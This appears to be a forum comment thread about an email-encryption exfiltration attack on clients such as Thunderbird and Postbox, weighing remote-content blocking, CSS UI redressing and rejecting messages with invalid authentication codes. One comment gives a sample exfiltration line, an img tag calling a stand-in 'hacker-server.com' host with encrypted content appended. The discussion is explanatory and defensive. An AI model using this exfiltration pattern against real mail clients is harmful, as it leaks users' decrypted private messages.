> I know I'm safe with blocked remote content.
Curious, how?
Curious, how?
Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--
If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.
Anyway, the attacker still need to get a hand on your encrypted email.
That is the case for all encryption vulnerabilities, and it seems a little strange that you keep pointing this out. Of COURSE the attackers need access to the encrypted text; the entire point of encryption is because we want to protect our data when someone else has access to it.
If we thought an attacker getting their hands on our encrypted email was not something to worry about, we wouldn't encrypt our emails at all. Why do you keep making that point?
For example, in Thunderbird and Postbox
we can completely redress the UI with CSS
and trick the user into submitting the
plaintext with an HTML form if he clicks
somewhere into the message.
(Edit: Formatting)
Ruling out the presence of an exfiltration channel is hard. It's better to prevent rendering of messages with invalid authentication code in the first place (and not rendering it and showing a warning).